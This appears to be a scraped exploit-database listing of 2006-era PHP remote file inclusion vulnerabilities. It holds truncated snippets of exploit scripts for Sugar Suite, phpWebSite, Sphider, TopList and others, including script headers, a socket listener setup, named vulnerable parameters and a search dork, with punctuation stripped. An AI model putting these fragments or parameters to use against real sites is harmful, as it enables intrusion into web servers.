Sugar Suite Open Source <= 4.2 "OptimisticLock!" arbitrary remote inclusion exploit

!/usr/bin/php -q -d shortopentag=on ? echo "Sugar Suite Open Source = 4.2 "OptimisticLock!" arbitrary remote inclusion exploitrn"; echo "by rgod [email protected]"; echo "site: http://retrogod.altervista.orgrnrn"; echo "this is called the "five claws of Sun-tzu"rnrn"; if $argc5 echo "Usage: ph...

Squirrelcart <= 2.2.0 (cart_content.php) Remote Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================= Squirrelcart = 2.2.0 cartcontent.php Remote Inclusion Vulnerability ======================================================================= Title : Squirrelcart = 2.2....

Sugar Suite Open Source <= 4.2 (OptimisticLock) Remote Exploit

Exploit for unknown platform in category web applications ============================================================== Sugar Suite Open Source = 4.2 OptimisticLock Remote Exploit ============================================================== !/usr/bin/php -q -d shortopentag=on ? echo "Sugar Sui...

Sugar Suite Open Source 4.2 - OptimisticLock Command Execution

Sugar Suite Open Source 4.2 - OptimisticLock Command Execution !/usr/bin/php -q -d shortopentag=on \r\n"; die; / software site: http://www.sugarcrm.com/crm/ i vulnerable code in modules/Optimis...

PT-2006-3280 · Ispconfig · Ispconfig

Name of the Vulnerable Software and Affected Versions: ISPConfig versions 2.2.2 and earlier Description: A remote file inclusion issue allows attackers to execute arbitrary PHP code via a URL in the go infoserverclasses root parameter. The vendor has disputed this issue, stating that the affected...

CVE-2006-2256

PHP remote file inclusion vulnerability in includes/dbal.php in EQdkp 1.3.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the eqdkprootpath parameter...

CVE-2006-2152

PHP remote file inclusion vulnerability in admin/addentry.php in phpBB Advanced Guestbook 2.4.0 and earlier, when registerglobals is enabled, allows remote attackers to include arbitrary files via the phpbbrootpath parameter...

Monster Top List sources/functions.php root_path Parameter Remote File Inclusion

The remote host is running Monster Top List, a site rating script written in PHP. The installed version of Monster Top List fails to sanitize user input to the 'rootpath' parameter in sources/functions.php before using it to include PHP code from other files. An unauthenticated attacker may be ab...

Knowledge Base Mod <= 2.0.2 (phpBB) Remote Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================== Knowledge Base Mod = 2.0.2 phpBB Remote Inclusion Vulnerability ================================================================== Title: Knowledge Base Mod for PHPbb = 2.0...

TopList <= 1.3.8 (phpBB Hack) Remote Inclusion Exploit

Exploit for unknown platform in category web applications ====================================================== TopList "$hostname", LocalPort = '9999', Proto = 'tcp', Listen = 1, Reuse = 1, ; die "Could not create socket: $!\n" unless $sock;...

TopList <= 1.3.8 (phpBB Hack) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================= TopList = 1.3.8 phpBB Hack Remote File Inclusion Vulnerability ================================================================= Title: TopList Hack for PHPBB = 1.3.8 Remote...

RechnungsZentrale V2 &lt;= 1.1.3 Remote Inclusion Vulnerability

No description provided by source. - GroundZero Security Research and Software Development 2006 - Software: RechnungsZentrale V2 Version: 1.1.3, likely older versions are affected aswell. Vendor: http://www.nfec.de/ Remote Inclusion:...

RechnungsZentrale V2 <= 1.1.3 Remote Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================ RechnungsZentrale V2 = 1.1.3 Remote Inclusion Vulnerability ============================================================ - GroundZero Security Research and Software Development...

phpWebSite &lt;= 0.10.2 (hub_dir) Remote Commands Execution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "PHPWebSite = 0.10.2 remote cmmnds xctn\r\n"; echo "- arbitrary local inclusion, works with magicquotesgpc = Off\r\n"; echo "by rgod, mail: [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; i...

sphider_13_xpl_pl.txt

!/usr/bin/perl use IO::Socket; print "\r\nSphider works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodautisticiorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print "\r\ndork: "powered by sphider"\r\n"; sub main::urlEncode my $string = @; $string = s/\W/"%"...

phpWebSite <= 0.10.2 (hub_dir) Remote Commands Execution Exploit

Exploit for unknown platform in category web applications ================================================================ phpWebSite arbitrary local inclusion, works with magicquotesgpc = Off\r\n"; echo "by rgod, mail: email protected\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; if...

phpWebSite 0.10.2 - hub_dir Remote Command Execution

phpWebSite 0.10.2 - hubdir Remote Command Execution !/usr/bin/php -q -d shortopentag=on arbitrary local inclusion, works with magicquotesgpc = Off\r\n"; echo "by rgod, mail: [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; if $argc 0 include$hubdir . 'conf/config.php'...

phpWebSite 0.10.2 - 'hub_dir' Remote Command Execution

!/usr/bin/php -q -d shortopentag=on arbitrary local inclusion, works with magicquotesgpc = Off\r\n"; echo "by rgod, mail: [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; if $argc 0 include$hubdir . 'conf/config.php'; define'PHPWSSOURCEDIR', $sourcedir; else...

Sphider &lt;= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit

No description provided by source. !/usr/bin/perl use IO::Socket; print "\r\nSphider = 1.3 arbitrary remote inclusion\r\n" ; print "- works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodATautisticiDOTorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print...

Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit

Exploit for unknown platform in category web applications ================================================================= Sphider works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodautisticiorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print "\r\ndork:...